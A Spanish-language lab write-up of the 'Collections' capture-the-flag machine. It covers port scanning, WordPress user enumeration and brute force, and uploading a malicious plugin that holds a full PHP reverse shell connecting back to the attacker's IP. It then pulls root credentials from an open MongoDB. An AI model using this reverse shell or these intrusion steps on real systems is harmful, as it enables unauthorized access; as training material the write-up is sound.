> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/collections-write-up.md).

# Collections write-up

## **Verificamos la conexión con la máquina víctima**

<figure><img src="/files/tZXZmG17iKGJXIHpOYA9" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos y explotación de vulnerabilidades**

Utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/X2iExBTHOf1qcV8btaeh" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que el puerto 22 (SSH), el 80 (HTTP) y el 27017 (mongodb) están abiertos. Así que ingresamos la IP de la máquina víctima en el navegador.

<figure><img src="/files/jzCUI1iX01jIzkF2zAHJ" alt=""><figcaption></figcaption></figure>

Contemplamos una página de Apache por defecto. Así que vamos a enumerar las rutas ocultas con la herramienta llamada **Dirb** con el siguiente comando:

```bash
dirb http://172.17.0.2/
```

<figure><img src="/files/762wUrz1f3gM96eGpZct" alt=""><figcaption></figcaption></figure>

Esto nos indica que podríamos estar delante de un **WorkPress**. Para verificarlo ingresamos `http://172.17.0.2/wordpress/wp-admin/admin.php`.

<figure><img src="/files/jOOh8WswJTRz6nyMSvw0" alt=""><figcaption></figcaption></figure>

Observamos que al poner la ruta nos aparece un mensaje de error y en la URL nos cambia la IP de la máquina víctima por `collections.dl`. Así que vamos a modificar el fichero `/etc/hosts` introduciendo lo siguiente:

<figure><img src="/files/WtG4ftC772XL9EfMxquD" alt=""><figcaption></figcaption></figure>

De está manera el dominio `collections.dl` apuntará a la IP 172.17.0.2, y por tanto, al ingresar la ruta `http://172.17.0.2/wordpress/wp-admin/admin.php` nos aparecerá el login de WorkPress:

<figure><img src="/files/hB3K3J51gfXDDv0tUc4W" alt=""><figcaption></figcaption></figure>

Así que ahora que sabemos que se trata de un **WorkPress** vamos a usar la herramienta llamada `wpscan` para enumerar usuarios y plugins con el siguiente comando:

```bash
wpscan --url http://collections.dl/wordpress/ -e u,p 
```

<figure><img src="/files/XUhoGxnY3kI7n7TKFNyg" alt=""><figcaption></figcaption></figure>

**Wpscan** nos enumera el usuario `chocolate`, así que ahora realizaremos un ataque de fuerza bruta con el siguiente comando:

```bash
wpscan --url http://collections.dl/wordpress/ -U chocolate -P ../rockyou.txt
```

<figure><img src="/files/dKKYfHxYQhX04tBWK9G5" alt=""><figcaption></figcaption></figure>

El ataque de fuerza bruta nos indica que la contraseña del usuario `chocolate` es `chocolate`. Así que usamos esas credenciales para iniciar sesión.

<figure><img src="/files/PNFBiDzOVMB3ONeKvvLx" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/roNfgYmL1lsNRrZH0WDv" alt=""><figcaption></figcaption></figure>

Una vez dentro de **WorkPress** vamos a descargar un plugin malicioso para obtener una shell inversa. Para ello convertiremos en formato ZIP en siguiente script en PHP:

```php
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.17.0.1';  // CHANGE THIS
$port = 444;       // CHANGE THIS
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/bash -i';
$contador = 0;
$debug = 0;
$daemon = 0;
$welcome_message = "  \033[1;34m_____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  \033[0m\n";

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);


// Mostrar mensaje de bienvenida a la shell

fwrite($sock, $welcome_message);



while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

    $read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}

}
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>
```

Para pasar el script a formato ZIP, solo tenemos que ejecutar el siguiente comando:

```bash
 zip -r shell.zip shell.php
```

Una vez tengamos el plugin malicioso, lo descargaremos en el **WorkPress** yendo al apartado de **Plugins**, después haciendo clic en **Añadir nuevo plugin**, a continuación hacemos clic en subir plugin, seleccionamos el plugin que hemos creado, lo instalamos y lo activamos.

<figure><img src="/files/xWUvZ5kOuyxUuELUrQCD" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/zAQsQHbSOjtaL18xW6cD" alt=""><figcaption></figcaption></figure>

Una vez instalado y activado el plugin malicioso, nos ponemos en escucha por el puerto que hayamos configurado previamente en el script y después introducimos la ruta `http://collections.dl/wordpress/wp-content/plugins/shell/shell.php` en el navegador para ejecutar el script, enviándonos así una shell interactiva.

<figure><img src="/files/GihjxusLusNdCG1t6yEq" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina víctima, ejecutamos el comando `ps aux | cat`, esto nos indica que se está arrancando el servicio `MongoDB` con el parámetro `--bind_ip_all`, por lo que podemos acceder desde cualquier IP.

<figure><img src="/files/WuNTFNKvohXd2NpBo1py" alt=""><figcaption></figcaption></figure>

Así que ahora en nuestra máquina ejecutamos el comando `mongo 172.17.0.2`, después, en la shell de MongoDB, ejecutamos los comando `show databases`, `use accesos` y `db.usuarios.find().pretty();` para ver el contenido de la tabla `usuarios` de la base de datos llamada `accesos`. La cual contiene lo siguiente:

<figure><img src="/files/al3ROhw4N7LVUFIxhTCy" alt=""><figcaption></figcaption></figure>

Así que vamos a utilizar la contraseña `chocolaterequetebueno123` para iniciar sesión en la máquina víctima como usuario root.

<figure><img src="/files/XH2nC7KEJ2NMdOR1wbq9" alt=""><figcaption></figcaption></figure>
